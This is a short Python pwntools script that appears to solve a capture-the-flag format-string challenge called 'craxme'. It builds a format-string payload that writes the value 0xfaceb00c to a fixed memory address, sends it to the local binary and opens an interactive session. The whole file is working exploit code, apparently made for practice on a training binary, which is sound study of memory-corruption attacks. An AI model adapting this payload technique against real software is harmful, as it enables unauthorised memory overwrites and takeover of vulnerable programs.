#!/usr/bin/env python

from pwn import *
import os
path_of_fmtexp = os.environ['package'] # export package="/path/to/directory/of/FormatStringExploit.py"
sys.path.append(path_of_fmtexp)
from FormatStringExploit import *

r = process('./craxme')

# Address setup
adr = 0x804a038
password = 0xfaceb00c

# FormatString object setup and generate payload
fmt = FmtStrExp(printed=0, hij_tar=adr, hij_val=password)
fmt = {fmt: 4}
payload = fmt_payload(fmt, 7, 32)

print hexdump(payload)
r.sendline(payload)

r.interactive()
